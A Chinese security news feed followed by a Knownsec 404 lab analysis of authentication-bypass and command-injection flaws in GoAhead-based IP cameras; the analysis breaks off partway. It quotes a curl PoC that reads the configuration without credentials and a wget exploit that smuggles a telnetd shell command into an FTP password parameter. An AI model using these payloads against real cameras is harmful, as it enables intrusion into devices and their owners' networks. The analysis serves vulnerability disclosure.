News stories from Monday 27 March, 2017

Favicon for 游侠安全网 07:03 【每日安全资讯】安装量最高PC程序排行出炉:Chrome居首、Flash播放器和Java均上榜 » Post from 游侠安全网 Visit off-site link
近日安全公司Avast发布了其全球安装量最高的PC程序排行榜,谷歌的Chrome浏览器位居榜首,二三名分别是Adobe Reader阅读器和Flash播放器(Active X版本),火狐浏览器和Flash插件随后。令人堪忧的是,许多PC用户使用着较老版本的火狐浏览器、Flash或Java程 ...

News stories from Sunday 26 March, 2017

Favicon for 游侠安全网 21:26 黑客勒索苹果事件新进展:媒体验证54个iCloud账号全都有效 » Post from 游侠安全网 Visit off-site link
据美国媒体 ZDNet 报道,ZDNet 从此前勒索 iCloud 的黑客组织获得的一组54个凭证进行验证,所有54个帐户都是有效的。
Favicon for 游侠安全网 21:23 58同城:不是我们泄露 是黑客攻击 » Post from 游侠安全网 Visit off-site link
姚劲波说道:“并不是我们泄露了信息,而是在数据越来越重要的时代,黑客会想尽办法攻击你的漏洞,这就需要企业不断通过新的技术把这种漏洞堵住,以保障用户数据的安全。”
Favicon for 游侠安全网 21:21 维基解密:美中情局侵入苹果手机近十年 特朗普或受监控 » Post from 游侠安全网 Visit off-site link
本月7日,“维基解密”网站发布了据称是美国中央情报局黑客项目的近九千份文件,里面详细列明了当局如何利用黑客科技侵入智能手机、智能电视等。而这两天,“维基解密”又再度曝光了一批新秘密文件,显示中情局至少从2008年开始就侵入苹果手机供应链。
Favicon for 游侠安全网 21:16 Google:会向用户发出发现疑似政府网络攻击的警告提示 » Post from 游侠安全网 Visit off-site link
据外媒报道,现在,数据隐私问题和安全问题俨然已经成为了美国政府和互联网公司争论的主要焦点之一。日前,谷歌再度用实际行动表明了自己的立场,获悉,该家公司再度在官方安全博客上谈到了其自2012年开始向用户发出发现疑似政府网络攻击的提示。
Favicon for 游侠安全网 12:52 [创宇资讯]2017-03-26 第396期 » Post from 游侠安全网 Visit off-site link
[国际方面] 维基解密阿桑奇谈泄密 CIA 黑客工具 http://hackernews.cc/archives/8058 [漏洞事件] 谷歌曝赛门铁克伪造证书:多个步骤减少信任 http://hackernews.cc/archives/8048 [推荐阅读] 1、微软解释:收集用户键击信息是为了改善输入和语 ...
Favicon for 游侠安全网 07:37 【每日安全资讯】苹果前脚否认被黑 黑客后脚抬高赎金价格至70万美元 » Post from 游侠安全网 Visit off-site link
苹果iCloud账户被黑事件仍在继续发展,那个自称已经攻破6亿iCloud账户的名为“Turkish Crime Family”的黑客组织提高了赎金价格,从7.5万美元涨到了70万美元。该组织曾威胁苹果如果不在4月7日前支付赎金,将会远程抹掉用户的设备或者重置iCloud账户。苹果之 ...

News stories from Saturday 25 March, 2017

Favicon for 游侠安全网 13:59 [创宇资讯]2017-03-25 第395期 » Post from 游侠安全网 Visit off-site link
[国际方面] 维基解密:CIA 瞄准 iPhone 供应链,安装间谍软件 http://hackernews.cc/archives/7973 [黑客事件] 分析报告:中国黑客组织 Winnti 滥用 GitHub 进行针对性攻击 http://hackernews.cc/archives/8005 [恶意软件] 新型恶意 Word 文档 ...
Favicon for 游侠安全网 00:31 微软 Word 宏恶意软件可以同时感染 Mac 和 Windows » Post from 游侠安全网 Visit off-site link
FortiGuard 实验室在 3月16日发现了一种新形式的微软 Word 宏恶意软件,这种软件可以同时感染 macOS 和 Windows 用户,根据操作系统的不同,恶意软件可以修改攻击方法。这种 宏 恶意软件隐藏在一份 Word 文档中,包含使用 VBA 代码,可以在文件打开时自动运行。
Favicon for 游侠安全网 00:27 58同城回应简历数据泄漏:已开展追查并加固信息安全 » Post from 游侠安全网 Visit off-site link
3月24日消息,今日,有媒体报道称58同城的全国简历数据泄漏,对此,58同城发布声明称,公司信息安全部门依据报道内容迅速开展追查,同时采取措施,加固信息安全系统,提升防爬虫技术手段,严格区隔个人信息物理存档。

News stories from Tuesday 21 March, 2017

Favicon for 知道创宇 11:38 抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析 » Post from 知道创宇 Visit off-site link

Author :知道创宇404安全实验室

Date:2017年03月19日 (注:本文首发自 paper.seebug.org) 

PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析

 

一、漏洞背景

GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。

2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。事件源于Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。作者在文章中将其中一个验证绕过漏洞归类为GoAhead服务器漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。

二、漏洞分析

当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了关于此漏洞的新的利用方式。

由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)

1. 验证绕过导致的信息(登录凭据)泄漏漏洞

作者给出POC<span class="token punctuation">:</span> curl http<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>ip<span class="token punctuation">:</span>port<span class="token operator">/</span>system<span class="token punctuation">.</span>ini<span class="token operator">?</span>loginuse<span class="token operator">&amp;</span>loginpas

根据作者给出的POC,我们进行了如下测试:

可以看出,只要url中含有loginuseloginpas这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz时均可通过验证。

看到这里,我们大致可以判断出验证loginuseloginpas的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse定位到关键函数。

/func/ieparam.c6407-6485AdjustUserPri函数如下:

<span class="token keyword">unsigned</span> <span class="token keyword">char</span> <span class="token function">AdjustUserPri<span class="token punctuation">(</span></span> <span class="token keyword">char</span><span class="token operator">*</span> url <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
    <span class="token keyword">int</span>        iRet<span class="token punctuation">;</span>
    <span class="token keyword">int</span>        iRet1<span class="token punctuation">;</span>
    <span class="token keyword">unsigned</span> <span class="token keyword">char</span>     byPri <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>        loginuse<span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>        loginpas<span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>        decoderbuf<span class="token punctuation">[</span><span class="token number">128</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>        temp2<span class="token punctuation">[</span><span class="token number">128</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">32</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">32</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> url<span class="token punctuation">,</span> <span class="token string">"loginuse"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">
//判断是否存在loginuse值,并将获取到的值赋给temp2
</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> decoderbuf<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">15</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">strcpy<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span><span class="token comment">
//如果存在,则将temp2复制到loginuse数组中
</span>    <span class="token function">memset<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet1 <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> url<span class="token punctuation">,</span> <span class="token string">"loginpas"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">
//判断是否存在loginpas值,并将获取到的值赋给temp2
</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet1 <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> decoderbuf<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">15</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">strcpy<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span><span class="token comment">
//如果存在,则将temp2复制到loginpas数组中
</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet1 <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
        <span class="token punctuation">{</span>
           <span class="token comment"> //printf("user %s pwd:%s\n",loginuse,loginpas);
</span>            byPri <span class="token operator">=</span> <span class="token function">GetUserPri<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> loginpas <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">
//如果两次都获取到了对应的值,则通过GetUserPri进行验证。
</span>            <span class="token keyword">return</span> byPri<span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">32</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">32</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> url<span class="token punctuation">,</span> <span class="token string">"user"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> decoderbuf<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">15</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">strcpy<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet1 <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> url<span class="token punctuation">,</span> <span class="token string">"pwd"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet1 <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> decoderbuf<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">15</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">strcpy<span class="token punctuation">(</span></span> loginpas<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet1 <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
        <span class="token punctuation">{</span>
           <span class="token comment"> //printf("user %s pwd:%s\n",loginuse,loginpas);
</span>            byPri <span class="token operator">=</span> <span class="token function">GetUserPri<span class="token punctuation">(</span></span> loginuse<span class="token punctuation">,</span> loginpas <span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">return</span> byPri<span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span><span class="token comment">
//获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。
</span>    <span class="token keyword">return</span> byPri<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()获取loginuseloginpas对应值,然后将获取值通过GetUserPri()函数进行验证。跟进GetStrParamValue()这个函数,我们发现了更奇怪的事情。command/cmd_thread.c中第13-51GetStrParamValue()函数如下:

<span class="token comment">//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码
</span><span class="token keyword">int</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> <span class="token keyword">const</span> <span class="token keyword">char</span><span class="token operator">*</span> pszSrc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span><span class="token operator">*</span> pszParamName<span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> pszParamValue <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
    <span class="token keyword">const</span> <span class="token keyword">char</span><span class="token operator">*</span> pos1<span class="token punctuation">,</span> <span class="token operator">*</span>pos <span class="token operator">=</span> pszSrc<span class="token punctuation">;</span>
    <span class="token keyword">unsigned</span> <span class="token keyword">char</span>       len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token operator">!</span>pszSrc <span class="token operator">||</span> <span class="token operator">!</span>pszParamName <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span><span class="token comment">
//判断url和需要查找的变量loginuse是否存在
</span>
    pos1 <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pos<span class="token punctuation">,</span> pszParamName <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token operator">!</span>pos1 <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span><span class="token comment">
//由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1)
</span>
    pos <span class="token operator">=</span> pos1 <span class="token operator">+</span> <span class="token function">strlen<span class="token punctuation">(</span></span> pszParamName <span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>
    pos1 <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pos<span class="token punctuation">,</span> <span class="token string">"&amp;"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> pos1 <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memcpy<span class="token punctuation">(</span></span> pszParamValue<span class="token punctuation">,</span> pos<span class="token punctuation">,</span> pos1 <span class="token operator">-</span> pos <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">
//根据正常情况loginuse=admin&amp;loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&amp;号作为loginuse对应的值。
</span><span class="token comment">//根据作者的POC:loginuse&amp;loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1
</span><span class="token comment">//memcpy( pszParamValue, pos, -1 );无法运行成功。
</span>        len <span class="token operator">=</span> pos1 <span class="token operator">-</span> pos<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">else</span>
    <span class="token punctuation">{</span>
        pos1 <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pos<span class="token punctuation">,</span> <span class="token string">" "</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token keyword">if</span> <span class="token punctuation">(</span> pos1 <span class="token operator">!=</span> NULL <span class="token punctuation">)</span>
        <span class="token punctuation">{</span>
            <span class="token function">memcpy<span class="token punctuation">(</span></span> pszParamValue<span class="token punctuation">,</span> pos<span class="token punctuation">,</span> pos1 <span class="token operator">-</span> pos <span class="token punctuation">)</span><span class="token punctuation">;</span>
            len <span class="token operator">=</span> pos1 <span class="token operator">-</span> pos<span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>
    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token comment">
//不论上述到底如何取值,最终都可以返回0
</span><span class="token punctuation">}</span>

根据作者给出的PoC,在memcpy()函数处会导致崩溃,但事实上,我们的web服务器正常运行并返回system.ini具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c文件第7514-7543行调用了AdjustUserPri()函数:

<span class="token keyword">if</span> <span class="token punctuation">(</span> auth <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
    <span class="token keyword">char</span> temp<span class="token punctuation">[</span><span class="token number">512</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">int</span>  wlen <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> len <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token property">#if 0</span>
    byPri <span class="token operator">=</span> <span class="token function">AdjustUserPri<span class="token punctuation">(</span></span> url <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token function">printf<span class="token punctuation">(</span></span><span class="token string">"url:%s byPri %d\n"</span><span class="token punctuation">,</span>url<span class="token punctuation">,</span>byPri<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span> <span class="token punctuation">(</span> byPri <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> temp<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">512</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        wlen <span class="token operator">+</span><span class="token operator">=</span> <span class="token function">sprintf<span class="token punctuation">(</span></span> temp <span class="token operator">+</span> wlen<span class="token punctuation">,</span> <span class="token string">"var result=\"Auth Failed\";\r\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memcpy<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> temp<span class="token punctuation">,</span> wlen <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> wlen<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
    #<span class="token keyword">else</span>
    byPri <span class="token operator">=</span> <span class="token number">255</span><span class="token punctuation">;</span>
    #endif
<span class="token punctuation">}</span>

<span class="token keyword">else</span>  
<span class="token punctuation">{</span>
    byPri <span class="token operator">=</span> pri<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

在之前跟GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri被直接赋值为255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。

很遗憾,我们没有继续向上溯源找到这里的auth这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth0时,通过GET请求中的参数验证用户名密码。当auth不为0时,通过HTTP摘要验证方式来验证用户名密码。

再看一遍上方代码,GET请求中含有参数loginuseloginpas就直接可以通过验证。那么AdjustUserPri()函数中另外两个具有相同逻辑的参数userpwd呢?

成功抓住"新代码"的影子。

2. 远程命令执行漏洞一(需登录)

作者给出的exp如下:

<a class="token email-link" href="mailto:user@kali">user@kali</a>$ wget <span class="token operator">-</span>qO<span class="token operator">-</span> <span class="token string">'<a class="token url-link" href="http://192.168.1.107/set_ftp.cgi">http://192.168.1.107/set_ftp.cgi</a>?next_url=ftp.htm&amp;loginuse=admin&amp;loginpas=admin&amp;svr=192.168.1.1&amp;port=21&amp;user=ftp&amp;pwd=$(telnetd -p25 -l/bin/sh)&amp;dir=/&amp;mode=PORT&amp;upload_interval=0'</span>  
<a class="token email-link" href="mailto:user@kali">user@kali</a>$ wget <span class="token operator">-</span>qO<span class="token operator">-</span> <span class="token string">'<a class="token url-link" href="http://192.168.1.107/ftptest.cgi">http://192.168.1.107/ftptest.cgi</a>?next_url=test_ftp.htm&amp;loginuse=admin&amp;loginpas=admin'</span>

可以看到,该exp分为两步,第一步先设置ftp各种参数,第二步按照第一步设置的各参数测试ftp链接,同时导致我们在第一步设置的命令被执行。

我们在func/ieparam.c文件中找到了set_ftp.cgiftptest.cgi的调用过程:

<span class="token number">383</span><span class="token punctuation">:</span>    pdst <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pcmd<span class="token punctuation">,</span> <span class="token string">"ftptest.cgi"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">384</span><span class="token punctuation">:</span>  
<span class="token number">385</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> pdst <span class="token operator">!=</span> NULL <span class="token punctuation">)</span>  
<span class="token number">386</span><span class="token punctuation">:</span>    <span class="token punctuation">{</span>  
<span class="token number">387</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> CGI_IESET_FTPTEST<span class="token punctuation">;</span>  
<span class="token number">388</span><span class="token punctuation">:</span>    <span class="token punctuation">}</span>

<span class="token number">455</span><span class="token punctuation">:</span>    pdst <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pcmd<span class="token punctuation">,</span> <span class="token string">"set_ftp.cgi"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">456</span><span class="token punctuation">:</span>  
<span class="token number">457</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> pdst <span class="token operator">!=</span> NULL <span class="token punctuation">)</span>  
<span class="token number">458</span><span class="token punctuation">:</span>    <span class="token punctuation">{</span>  
<span class="token number">459</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> CGI_IESET_FTP<span class="token punctuation">;</span>  
<span class="token number">460</span><span class="token punctuation">:</span>    <span class="token punctuation">}</span>

<span class="token number">7658</span><span class="token punctuation">:</span>   <span class="token keyword">case</span> CGI_IESET_FTPTEST<span class="token punctuation">:</span>  
<span class="token number">7659</span><span class="token punctuation">:</span>       <span class="token keyword">if</span> <span class="token punctuation">(</span> len <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>  
<span class="token number">7660</span><span class="token punctuation">:</span>       <span class="token punctuation">{</span>  
<span class="token number">7661</span><span class="token punctuation">:</span>           iRet <span class="token operator">=</span> <span class="token function">cgisetftptest<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> pparam<span class="token punctuation">,</span> byPri <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7662</span><span class="token punctuation">:</span>       <span class="token punctuation">}</span>

<span class="token number">7756</span><span class="token punctuation">:</span>   <span class="token keyword">case</span> CGI_IESET_FTP<span class="token punctuation">:</span>  
<span class="token number">7757</span><span class="token punctuation">:</span>       <span class="token keyword">if</span> <span class="token punctuation">(</span> len <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>  
<span class="token number">7758</span><span class="token punctuation">:</span>       <span class="token punctuation">{</span>  
<span class="token number">7759</span><span class="token punctuation">:</span>           iRet <span class="token operator">=</span> <span class="token function">cgisetftp<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> pparam<span class="token punctuation">,</span> byPri <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7760</span><span class="token punctuation">:</span>           <span class="token function">NoteSaveSem<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7761</span><span class="token punctuation">:</span>       <span class="token punctuation">}</span>

首先跟踪cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:

<span class="token comment">//这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。
</span>    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"svr"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">63</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">63</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">strcpy<span class="token punctuation">(</span></span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpSvr<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>

